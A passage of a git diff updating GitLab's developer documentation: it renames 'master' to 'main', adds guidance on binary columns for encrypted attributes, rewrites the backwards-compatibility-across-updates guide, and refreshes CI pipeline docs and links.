--- a/doc/development/migration_style_guide.md
+++ b/doc/development/migration_style_guide.md
@@ -45,16 +45,16 @@ columns manually for existing tables as this causes confusion to
other people using `db/structure.sql` generated by Rails.
When your local database in your GDK is diverging from the schema from
-`master` it might be hard to cleanly commit the schema changes to
+`main` it might be hard to cleanly commit the schema changes to
Git. In that case you can use the `scripts/regenerate-schema` script to
regenerate a clean `db/structure.sql` for the migrations you're
adding. This script applies all migrations found in `db/migrate`
or `db/post_migrate`, so if there are any migrations you don't want to
commit to the schema, rename or remove them. If your branch is not
-targeting `master` you can set the `TARGET` environment variable.
+targeting `main` you can set the `TARGET` environment variable.
```shell
-# Regenerate schema against `master`
+# Regenerate schema against `main`
scripts/regenerate-schema
# Regenerate schema against `12-9-stable-ee`
@@ -844,7 +844,7 @@ You have to use a serializer to provide a translation layer:
```ruby
class BuildMetadata
- serialize :config_options, Serializers::JSON # rubocop:disable Cop/ActiveRecordSerialize
+ serialize :config_options, Serializers::Json # rubocop:disable Cop/ActiveRecordSerialize
end
```
@@ -856,6 +856,37 @@ class BuildMetadata
end
```
+## Encrypted attributes
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227779) in GitLab 14.0.
+
+Do not store `attr_encrypted` attributes as `:text` in the database; use
+`:binary` instead. This uses the `bytea` type in PostgreSQL and makes storage more
+efficient:
+
+```ruby
+class AddSecretToSomething < ActiveRecord::Migration[5.0]
+ def change
+ add_column :something, :encrypted_secret, :binary
+ add_column :something, :encrypted_secret_iv, :binary
+ end
+end
+```
+
+When storing encrypted attributes in a binary column, we need to provide the
+`encode: false` and `encode_iv: false` options to `attr_encrypted`:
+
+```ruby
+class Something < ApplicationRecord
+ attr_encrypted :secret,
+ mode: :per_attribute_iv,
+ key: Settings.attr_encrypted_db_key_base_32,
+ algorithm: 'aes-256-gcm',
+ encode: false,
+ encode_iv: false
+end
+```
+
## Testing
See the [Testing Rails migrations](testing_guide/testing_migrations_guide.md) style guide.
@@ -945,6 +976,9 @@ If using a model in the migrations, you should first
[clear the column cache](https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema/ClassMethods.html#method-i-reset_column_information)
using `reset_column_information`.
+If using a model that leverages single table inheritance (STI), there are [special
+considerations](single_table_inheritance.md#in-migrations).
+
This avoids problems where a column that you are using was altered and cached
in a previous migration.
diff --git a/doc/development/module_with_instance_variables.md b/doc/development/module_with_instance_variables.md
index 16c7a807053..f298b603429 100644
--- a/doc/development/module_with_instance_variables.md
+++ b/doc/development/module_with_instance_variables.md
@@ -68,7 +68,7 @@ objects are touching them, then it would be an acceptable use.
We especially allow the case where a single instance variable is used with
`||=` to set up the value. This would look like:
-``` ruby
+```ruby
module M
def f
@f ||= true
@@ -85,7 +85,7 @@ we could easily add to the cop, we should do it.
Even if we could just disable the cop, we should avoid doing so. Some code
could be easily rewritten in simple form. Consider this acceptable method:
-``` ruby
+```ruby
module Gitlab
module Emoji
def emoji_unicode_version(name)
@@ -104,7 +104,7 @@ cop is not smart enough to judge that this is fine.
On the other hand, we could split this method into two:
-``` ruby
+```ruby
module Gitlab
module Emoji
def emoji_unicode_version(name)
@@ -127,7 +127,7 @@ Now the cop doesn't complain.
Put the disabling comment right after your code in the same line:
-``` ruby
+```ruby
module M
def violating_method
@f + @g # rubocop:disable Gitlab/ModuleWithInstanceVariables
@@ -137,7 +137,7 @@ end
If there are multiple lines, you could also enable and disable for a section:
-``` ruby
+```ruby
module M
# rubocop:disable Gitlab/ModuleWithInstanceVariables
def violating_method
@@ -167,13 +167,13 @@ point of view), making it extremely hard to track data dependency.
We're trying to use something like this instead:
-``` haml
+```haml
= render 'projects/commits/commit', commit: commit, ref: ref, project: project
```
And in the partial:
-``` haml
+```haml
- ref = local_assigns.fetch(:ref)
- commit = local_assigns.fetch(:commit)
- project = local_assigns.fetch(:project)
diff --git a/doc/development/multi_version_compatibility.md b/doc/development/multi_version_compatibility.md
index 44e93bfb8a8..acdf8194cb1 100644
--- a/doc/development/multi_version_compatibility.md
+++ b/doc/development/multi_version_compatibility.md
@@ -4,47 +4,120 @@ group: unassigned
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Compatibility with multiple versions of the application running at the same time
+# Backwards compatibility across updates
-When adding or changing features, we must be aware that there may be multiple versions of the application running
-at the same time and connected to the same PostgreSQL and Redis databases. This could happen during a rolling deploy
-when the servers are updated one by one.
+GitLab deployments can be broken down into many components. Updating GitLab is not atomic. Therefore, **many components must be backwards-compatible**.
-During a rolling deploy, post-deployment DB migrations are run after all the servers have been updated. This means the
-servers could be in these intermediate states:
+## Common gotchas
-1. Old application code running with new DB migrations already executed
-1. New application code running with new DB migrations but without new post-deployment DB migrations
+In a sense, these scenarios are all transient states. But they can often persist for several hours in a live, production environment. Therefore we must treat them with the same care as permanent states.
-We must make sure that the application works properly in these states.
+### When modifying a Sidekiq worker
-For GitLab.com, we also run a set of canary servers which run a more recent version of the application. Users with
-the canary cookie set would be handled by these servers. Some URL patterns may also be forced to the canary servers,
-even without the cookie being set. This also means that some pages may match the pattern and get handled by canary servers,
-but AJAX requests to URLs (like the GraphQL endpoint) fail to match the pattern.
+For example when [changing arguments](sidekiq_style_guide.md#changing-the-arguments-for-a-worker):
-With this canary setup, we'd be in this mixed-versions state for an extended period of time until canary is promoted to
-production and post-deployment migrations run.
+- Is it ok if jobs are being enqueued with the old signature but executed by the new monthly release?
+- Is it ok if jobs are being enqueued with the new signature but executed by the previous monthly release?
-Also be aware that during a deployment to production, Web, API, and
-Sidekiq nodes are updated in parallel, but they may finish at
-different times. That means there may be a window of time when the
-application code is not in sync across the whole fleet. Changes that
-cut across Sidekiq, Web, and/or the API may [introduce unexpected
-errors until the deployment is complete](#builds-failing-due-to-varying-deployment-times-across-node-types).
+### When adding a new Sidekiq worker
+
+Is it ok if these jobs don't get executed for several hours because [Sidekiq nodes are not yet updated](sidekiq_style_guide.md#adding-new-workers)?
+
+### When modifying JavaScript
+
+Is it ok when a browser has the new JavaScript code, but the Rails code is running the previous monthly release on:
+
+- the REST API?
+- the GraphQL API?
+- internal APIs in controllers?
+
+### When adding a pre-deployment migration
+
+Is it ok if the pre-deployment migration has executed, but the web, Sidekiq, and API nodes are running the previous release?
+
+### When adding a post-deployment migration
+
+Is it ok if all GitLab nodes have been updated, but the post-deployment migrations don't get executed until a couple days later?
+
+### When adding a background migration
+
+Is it ok if all nodes have been updated, and then the post-deployment migrations get executed a couple days later, and then the background migrations take a week to finish?
+
+## A walkthrough of an update
+
+Backwards compatibility problems during updates are often very subtle. This is why it is worth familiarizing yourself with [update instructions](../update/index.md), [reference architectures](../administration/reference_architectures/index.md), and [GitLab.com's architecture](https://about.gitlab.com/handbook/engineering/infrastructure/production/architecture/). But to illustrate how these problems arise, take a look at this example of a simple update.
+
+- 🚢 New version
+- 🙂 Old version
+
+In this example, you can imagine that we are updating by one monthly release. But refer to [How long must code be backwards-compatible?](#how-long-must-code-be-backwards-compatible).
+
+| Update step | Postgres DB | Web nodes | API nodes | Sidekiq nodes | Compatibility concerns |
+| --- | --- | --- | --- | --- | --- |
+| Initial state | 🙂 | 🙂 | 🙂 | 🙂 | |
+| Ran pre-deployment migrations | 🚢 except post-deploy migrations | 🙂 | 🙂 | 🙂 | Rails code in 🙂 is making DB calls to 🚢 |
+| Update web nodes | 🚢 except post-deploy migrations | 🚢 | 🙂 | 🙂 | JavaScript in 🚢 is making API calls to 🙂. Rails code in 🚢 is enqueuing jobs that are getting run by Sidekiq nodes in 🙂 |
+| Update API and Sidekiq nodes | 🚢 except post-deploy migrations | 🚢 | 🚢 | 🚢 | Rails code in 🚢 is making DB calls without post-deployment migrations or background migrations |
+| Run post-deployment migrations | 🚢 | 🚢 | 🚢 | 🚢 | Rails code in 🚢 is making DB calls without background migrations |
+| Background migrations finish | 🚢 | 🚢 | 🚢 | 🚢 | |
+
+This example is not exhaustive. GitLab can be deployed in many different ways. Even each update step is not atomic. For example, with rolling deploys, nodes within a group are temporarily on different versions. You should assume that a lot of time passes between update steps. This is often true on GitLab.com.
+
+## How long must code be backwards-compatible?
+
+For users following [zero-downtime update instructions](../update/index.md#upgrading-without-downtime), the answer is one monthly release. For example:
+
+- 13.11 => 13.12
+- 13.12 => 14.0
+- 14.0 => 14.1
+
+For GitLab.com, there can be multiple tiny version updates per day, so GitLab.com doesn't constrain how far changes must be backwards-compatible.
+
+Many users [skip some monthly releases](../update/index.md#upgrading-to-a-new-major-version), for example:
+
+- 13.0 => 13.12
+
+These users accept some downtime during the update. Unfortunately we can't ignore this case completely. For example, 13.12 may execute Sidekiq jobs from 13.0, which illustrates why [we avoid removing arguments from jobs until a major release](sidekiq_style_guide.md#deprecate-and-remove-an-argument). The main question is: Will the deployment get to a good state after the update is complete?
+
+## What kind of components can GitLab be broken down into?
+
+The [50,000 reference architecture](../administration/reference_architectures/50k_users.md) runs GitLab on 48+ nodes. GitLab.com is [bigger than that](https://about.gitlab.com/handbook/engineering/infrastructure/production/architecture/), plus a portion of the [infrastructure runs on Kubernetes](https://about.gitlab.com/handbook/engineering/infrastructure/production/kubernetes/gitlab-com/), plus there is a ["canary" stage which receives updates first](https://about.gitlab.com/handbook/engineering/#sts=Canary%20Testing).
+
+But the problem isn't just that there are many nodes. The bigger problem is that a deployment can be divided into different contexts. And GitLab.com is not the only one that does this. Some possible divisions:
+
+- "Canary web app nodes": Handle non-API requests from a subset of users
+- "Git app nodes": Handle Git requests
+- "Web app nodes": Handle web requests
+- "API app nodes": Handle API requests
+- "Sidekiq app nodes": Handle Sidekiq jobs
+- "Postgres database": Handle internal Postgres calls
+- "Redis database": Handle internal Redis calls
+- "Gitaly nodes": Handle internal Gitaly calls
+
+During an update, there will be [two different versions of GitLab running in different contexts](#a-walkthrough-of-an-update). For example, [a web node may enqueue jobs which get run on an old Sidekiq node](#when-modifying-a-sidekiq-worker).
+
+## Doesn't the order of update steps matter?
+
+Yes! We have specific instructions for [zero-downtime updates](../update/index.md#upgrading-without-downtime) because it allows us to ignore some permutations of compatibility. This is why we don't worry about Rails code making DB calls to an old Postgres database schema.
+
+## I've identified a potential backwards compatibility problem, what can I do about it?
+
+### Feature flags
One way to handle this is to use a feature flag that is disabled by
default. The feature flag can be enabled when the deployment is in a
-consistent state. However, this method of synchronization doesn't
-guarantee that customers with on-premise instances can [upgrade with
+consistent state. However, this method of synchronization **does not
+guarantee** that customers with on-premise instances can [update with
zero downtime](https://docs.gitlab.com/omnibus/update/#zero-downtime-updates)
-because point releases bundle many changes together. Minimizing the time
-between when versions are out of sync across the fleet may help mitigate
-errors caused by upgrades.
+because point releases bundle many changes together.
+
+### Graceful degradation
+
+As an example, when adding a new feature with frontend and API changes, it may be possible to write the frontend such that the new feature degrades gracefully against old API responses. This may help avoid needing to spread a change over 3 releases.
-## Requirements for zero downtime upgrades
+### Expand and contract pattern
-One way to guarantee zero downtime upgrades for on-premise instances is following the
+One way to guarantee zero downtime updates for on-premise instances is following the
[expand and contract pattern](https://martinfowler.com/bliki/ParallelChange.html).
This means that every breaking change is broken down in three phases: expand, migrate, and contract.
@@ -53,7 +126,7 @@ This means that every breaking change is broken down in three phases: expand, mi
1. **migrate**: all consumers are updated to make use of the new implementation.
1. **contract**: backward compatibility is removed.
-Those three phases **must be part of different milestones**, to allow zero downtime upgrades.
+Those three phases **must be part of different milestones**, to allow zero downtime updates.
Depending on the support level for the feature, the contract phase could be delayed until the next major release.
@@ -205,7 +278,7 @@ variable `CI_NODE_TOTAL` being an integer failed. This was caused because after
1. New code: Sidekiq created a new pipeline and new build. `build.options[:parallel]` is a `Hash`.
1. Old code: Runners requested a job from an API node that is running the previous version.
-1. As a result, the [new code](https://gitlab.com/gitlab-org/gitlab/blob/42b82a9a3ac5a96f9152aad6cbc583c42b9fb082/app/models/concerns/ci/contextable.rb#L104)
+1. As a result, the [new code](https://gitlab.com/gitlab-org/gitlab/-/blob/42b82a9a3ac5a96f9152aad6cbc583c42b9fb082/app/models/concerns/ci/contextable.rb#L104)
was not run on the API server. The runner's request failed because the
older API server tried return the `CI_NODE_TOTAL` CI/CD variable, but
instead of sending an integer value (e.g. 9), it sent a serialized
diff --git a/doc/development/namespaces_storage_statistics.md b/doc/development/namespaces_storage_statistics.md
index 587e1091e77..232d421d883 100644
--- a/doc/development/namespaces_storage_statistics.md
+++ b/doc/development/namespaces_storage_statistics.md
@@ -20,11 +20,11 @@ storage consumed by a group, and allow easy management.
## Problem
In GitLab, we update the project storage statistics through a
-[callback](https://gitlab.com/gitlab-org/gitlab/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/app/models/project.rb#L97)
+[callback](https://gitlab.com/gitlab-org/gitlab/-/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/app/models/project.rb#L97)
every time the project is saved.
The summary of those statistics per namespace is then retrieved
-by [`Namespaces#with_statistics`](https://gitlab.com/gitlab-org/gitlab/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/app/models/namespace.rb#L70) scope. Analyzing this query we noticed that:
+by [`Namespaces#with_statistics`](https://gitlab.com/gitlab-org/gitlab/-/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/app/models/namespace.rb#L70) scope. Analyzing this query we noticed that:
- It takes up to `1.2` seconds for namespaces with over `15k` projects.
- It can't be analyzed with [ChatOps](chatops_on_gitlabcom.md), as it times out.
diff --git a/doc/development/new_fe_guide/dependencies.md b/doc/development/new_fe_guide/dependencies.md
index b58319c15ca..c8bc1b70aa9 100644
--- a/doc/development/new_fe_guide/dependencies.md
+++ b/doc/development/new_fe_guide/dependencies.md
@@ -1,5 +1,6 @@
---
redirect_to: '../fe_guide/dependencies.md'
+remove_date: '2021-05-14'
---
This document was moved to [another location](../fe_guide/dependencies.md).
diff --git a/doc/development/new_fe_guide/development/performance.md b/doc/development/new_fe_guide/development/performance.md
index 8ae503ec709..f34c407da84 100644
--- a/doc/development/new_fe_guide/development/performance.md
+++ b/doc/development/new_fe_guide/development/performance.md
@@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
We have a performance dashboard available in one of our [Grafana instances](https://dashboards.gitlab.net/d/1EBTz3Dmz/sitespeed-page-summary?orgId=1). This dashboard automatically aggregates metric data from [sitespeed.io](https://www.sitespeed.io/) every 6 hours. These changes are displayed after a set number of pages are aggregated.
These pages can be found inside a text file in the [`gitlab-build-images` repository](https://gitlab.com/gitlab-org/gitlab-build-images) called [`gitlab.txt`](https://gitlab.com/gitlab-org/gitlab-build-images/blob/master/scripts/gitlab.txt)
-Any frontend engineer can contribute to this dashboard. They can contribute by adding or removing URLs of pages from this text file. Please have a [frontend monitoring expert](https://about.gitlab.com/company/team/) review your changes before assigning to a maintainer of the `gitlab-build-images` project. The changes are pushed live on the next scheduled run after the changes are merged into `master`.
+Any frontend engineer can contribute to this dashboard. They can contribute by adding or removing URLs of pages from this text file. Please have a [frontend monitoring expert](https://about.gitlab.com/company/team/) review your changes before assigning to a maintainer of the `gitlab-build-images` project. The changes are pushed live on the next scheduled run after the changes are merged into `main`.
There are 3 recommended high impact metrics to review on each page:
diff --git a/doc/development/new_fe_guide/modules/dirty_submit.md b/doc/development/new_fe_guide/modules/dirty_submit.md
index f9ef96c65dc..6e1062aa72e 100644
--- a/doc/development/new_fe_guide/modules/dirty_submit.md
+++ b/doc/development/new_fe_guide/modules/dirty_submit.md
@@ -14,7 +14,7 @@ Prevent submitting forms with no changes.
Currently handles `input`, `textarea` and `select` elements.
-Also, see [the code](https://gitlab.com/gitlab-org/gitlab/blob/master/app/assets/javascripts/dirty_submit/)
+Also, see [the code](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/dirty_submit/)
within the GitLab project.
## Usage
diff --git a/doc/development/packages.md b/doc/development/packages.md
index 3727376d957..294cc528ad1 100644
--- a/doc/development/packages.md
+++ b/doc/development/packages.md
@@ -183,7 +183,7 @@ supports this case.
There are project and group level permissions for `read_package`, `create_package`, and `destroy_package`. Each
endpoint should
-[authorize the requesting user](https://gitlab.com/gitlab-org/gitlab/blob/398fef1ca26ae2b2c3dc89750f6b20455a1e5507/ee/lib/api/conan_packages.rb)
+[authorize the requesting user](https://gitlab.com/gitlab-org/gitlab/-/blob/398fef1ca26ae2b2c3dc89750f6b20455a1e5507/ee/lib/api/conan_packages.rb)
against the project or group before continuing.
#### Database and handling metadata
@@ -219,7 +219,7 @@ demonstrates adding an instance-level endpoint for Conan to workhorse. You can a
implemented in the same file.
Once the route has been added, you must add an additional `/authorize` version of the upload endpoint to your API file.
-[This example](https://gitlab.com/gitlab-org/gitlab/blob/398fef1ca26ae2b2c3dc89750f6b20455a1e5507/ee/lib/api/maven_packages.rb#L164)
+[This example](https://gitlab.com/gitlab-org/gitlab/-/blob/398fef1ca26ae2b2c3dc89750f6b20455a1e5507/ee/lib/api/maven_packages.rb#L164)
shows the additional endpoint added for Maven. The `/authorize` endpoint verifies and authorizes the request from workhorse,
then the normal upload endpoint is implemented below, consuming the metadata that workhorse provides in order to
create the package record. Workhorse provides a variety of file metadata such as type, size, and different checksum formats.
@@ -276,7 +276,7 @@ features must be implemented when the feature flag is removed.
- Background workers for extracting package metadata (if applicable)
- Documentation (how to use the feature)
- API Documentation (individual endpoints with curl examples)
-- Seeding in [`db/fixtures/development/26_packages.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/db/fixtures/development/26_packages.rb)
+- Seeding in [`db/fixtures/development/26_packages.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/db/fixtures/development/26_packages.rb)
- Update the [runbook](https://gitlab.com/gitlab-com/runbooks/-/blob/31fb4959e89db25fddf865bc81734c222daf32dd/dashboards/stage-groups/package.dashboard.jsonnet#L74) for the Grafana charts
- End-to-end feature tests for (at the minimum) publishing and installing a package
diff --git a/doc/development/performance.md b/doc/development/performance.md
index c6fe9f29b53..84b3a8f1092 100644
--- a/doc/development/performance.md
+++ b/doc/development/performance.md
@@ -283,8 +283,8 @@ Currently supported profiling targets are:
- Sidekiq
NOTE:
-The Puma master process is not supported. Neither is Unicorn.
-Sending SIGUSR2 to either of those triggers restarts. In the case of Puma,
+The Puma master process is not supported.
+Sending SIGUSR2 to it triggers restarts. In the case of Puma,
take care to only send the signal to Puma workers.
This can be done via `pkill -USR2 puma:`. The `:` distinguishes between `puma
diff --git a/doc/development/permissions.md b/doc/development/permissions.md
index 6ff0c6d5167..8c3600a30ba 100644
--- a/doc/development/permissions.md
+++ b/doc/development/permissions.md
@@ -78,7 +78,7 @@ is stored in the `project_authorizations` table.
WARNING:
Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/219299),
projects in personal namespace do not show owner (`50`) permission in
-`project_authorizations` table. Note however that [`user.owned_projects`](https://gitlab.com/gitlab-org/gitlab/blob/0d63823b122b11abd2492bca47cc26858eee713d/app/models/user.rb#L906-916)
+`project_authorizations` table. Note however that [`user.owned_projects`](https://gitlab.com/gitlab-org/gitlab/-/blob/0d63823b122b11abd2492bca47cc26858eee713d/app/models/user.rb#L906-916)
is calculated properly.
### Confidential issues
diff --git a/doc/development/pipelines.md b/doc/development/pipelines.md
index 24f35bdab57..0dc1481f542 100644
--- a/doc/development/pipelines.md
+++ b/doc/development/pipelines.md
@@ -8,9 +8,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Pipelines for [`gitlab-org/gitlab`](https://gitlab.com/gitlab-org/gitlab) and [`gitlab-org/gitlab-foss`](https://gitlab.com/gitlab-org/gitlab-foss) (as well as the
`dev` instance's mirrors) are configured in the usual
-[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml)
+[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml)
which itself includes files under
-[`.gitlab/ci/`](https://gitlab.com/gitlab-org/gitlab/tree/master/.gitlab/ci)
+[`.gitlab/ci/`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/.gitlab/ci)
for easier maintenance.
We're striving to [dogfood](https://about.gitlab.com/handbook/engineering/#dogfooding)
@@ -24,7 +24,7 @@ feature of the GitLab CI/CD.
Pipelines are always created for the following scenarios:
-- `master` branch, including on schedules, pushes, merges, and so on.
+- `main` branch, including on schedules, pushes, merges, and so on.
- Merge requests.
- Tags.
- Stable, `auto-deploy`, and security branches.
@@ -37,7 +37,7 @@ Pipeline creation is also affected by the following CI/CD variables:
No pipeline is created in any other cases (for example, when pushing a branch with no
MR for it).
-The source of truth for these workflow rules is defined in [`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml).
+The source of truth for these workflow rules is defined in [`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml).
### Pipelines for Merge Requests
@@ -428,7 +428,7 @@ We are using a custom mapping between source file to test files, maintained in t
As part of the objective to improve overall pipeline duration, we are experimenting with a minimal set of RSpec tests.
The purpose of this experiment is to verify if we are able to run a minimal set of RSpec tests in a Merge Request pipeline,
-without resulting in increased number of broken master.
+without resulting in increased number of broken main branch.
To identify the minimal set of tests needed, we use [Crystalball gem](https://github.com/toptal/crystalball) to create a test mapping.
The test mapping contains a map of each source files to a list of test files which is dependent of the source file.
@@ -484,14 +484,14 @@ Our test suite runs against PG12 as GitLab.com runs on PG12 and
Our test suite is currently running against PG11, since GitLab.com still runs on PG11.
We do run our test suite against PG11 on nightly scheduled pipelines as well as upon specific
-database library changes in MRs and `master` pipelines (with the `rspec db-library-code pg11` job).
+database library changes in MRs and `main` pipelines (with the `rspec db-library-code pg11` job).
#### Current versions testing
| Where? | PostgreSQL version |
| ------ | ------------------ |
| MRs | 12, 11 for DB library changes |
-| `master` (non-scheduled pipelines) | 12, 11 for DB library changes |
+| `main` (non-scheduled pipelines) | 12, 11 for DB library changes |
| 2-hourly scheduled pipelines | 12, 11 for DB library changes |
| `nightly` scheduled pipelines | 12, 11 |
@@ -538,7 +538,7 @@ the `gitlab-org/gitlab-foss` project.
### Interruptible pipelines
By default, all jobs are [interruptible](../ci/yaml/README.md#interruptible), except the
-`dont-interrupt-me` job which runs automatically on `master`, and is `manual`
+`dont-interrupt-me` job which runs automatically on `main`, and is `manual`
otherwise.
If you want a running pipeline to finish even if you push new commits to a merge
@@ -549,7 +549,7 @@ request, be sure to start the `dont-interrupt-me` job before pushing.
1. All jobs must only pull caches by default.
1. All jobs must be able to pass with an empty cache. In other words, caches are only there to speed up jobs.
1. We currently have several different cache definitions defined in
- [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml),
+ [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/global.gitlab-ci.yml),
with fixed keys:
- `.setup-test-env-cache`
- `.rails-cache`
@@ -561,12 +561,13 @@ request, be sure to start the `dont-interrupt-me` job before pushing.
- `.assets-compile-cache` (the key includes `${NODE_ENV}` so it's actually two different caches).
1. These cache definitions are composed of [multiple atomic caches](../ci/yaml/README.md#multiple-caches).
1. Only 6 specific jobs, running in 2-hourly scheduled pipelines, are pushing (i.e. updating) to the caches:
- - `update-setup-test-env-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
- - `update-static-analysis-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
- - `update-qa-cache`, defined in [`.gitlab/ci/qa.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/qa.gitlab-ci.yml).
- - `update-assets-compile-production-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
- - `update-assets-compile-test-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
- - `update-yarn-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
+ - `update-setup-test-env-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
+ - `update-gitaly-binaries-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
+ - `update-static-analysis-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
+ - `update-qa-cache`, defined in [`.gitlab/ci/qa.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/qa.gitlab-ci.yml).
+ - `update-assets-compile-production-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
+ - `update-assets-compile-test-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
+ - `update-yarn-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
1. These jobs can also be forced to run in merge requests whose title include `UPDATE CACHE` (this can be useful to warm the caches in a MR that updates the cache keys).
### Artifacts strategy
@@ -583,7 +584,7 @@ several reasons:
- It significantly reduces load on the file server, as smaller deltas mean less time spent in `git pack-objects`.
The pre-clone step works by using the `CI_PRE_CLONE_SCRIPT` variable
-[defined by GitLab.com shared runners](../user/gitlab_com/index.md#pre-clone-script).
+[defined by GitLab.com shared runners](../ci/runners/README.md#pre-clone-script).
The `CI_PRE_CLONE_SCRIPT` is currently defined as a project CI/CD variable:
@@ -608,7 +609,7 @@ The `CI_PRE_CLONE_SCRIPT` is currently defined as a project CI/CD variable:
```
The first step of the script downloads `gitlab-master.tar.gz` from
-Google Cloud Storage. There is a [GitLab CI job named `cache-repo`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/cache-repo.gitlab-ci.yml#L5)
+Google Cloud Storage. There is a [GitLab CI job named `cache-repo`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/cache-repo.gitlab-ci.yml#L5)
that is responsible for keeping that archive up-to-date. Every two hours
on a scheduled pipeline, it does the following:
@@ -674,7 +675,7 @@ that is deployed in stage `review`.
### Default image
-The default image is defined in [`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml).
+The default image is defined in [`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml).
<!-- vale gitlab.Spelling = NO -->
It includes Ruby, Go, Git, Git LFS, Chrome, Node, Yarn, PostgreSQL, and Graphics Magick.
@@ -711,12 +712,12 @@ Docker Hub unless `${GITLAB_DEPENDENCY_PROXY}` is also defined there.
In addition to the [predefined CI/CD variables](../ci/variables/predefined_variables.md),
each pipeline includes default variables defined in
-[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml).
+[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml).
### Common job definitions
Most of the jobs [extend from a few CI definitions](../ci/yaml/README.md#extends)
-defined in [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml)
+defined in [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/global.gitlab-ci.yml)
that are scoped to a single [configuration keyword](../ci/yaml/README.md#job-keywords).
| Job definitions | Description |
@@ -730,10 +731,10 @@ that are scoped to a single [configuration keyword](../ci/yaml/README.md#job-key
| `.qa-cache` | Allows a job to use a default `cache` definition suitable for QA tasks. |
| `.yarn-cache` | Allows a job to use a default `cache` definition suitable for frontend jobs that do a `yarn install`. |
| `.assets-compile-cache` | Allows a job to use a default `cache` definition suitable for frontend jobs that compile assets. |
-| `.use-pg11` | Allows a job to run the `postgres` 11 and `redis` services (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific versions of the services). |
-| `.use-pg11-ee` | Same as `.use-pg11` but also use an `elasticsearch` service (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific version of the service). |
-| `.use-pg12` | Allows a job to use the `postgres` 12 and `redis` services (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific versions of the services). |
-| `.use-pg12-ee` | Same as `.use-pg12` but also use an `elasticsearch` service (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific version of the service). |
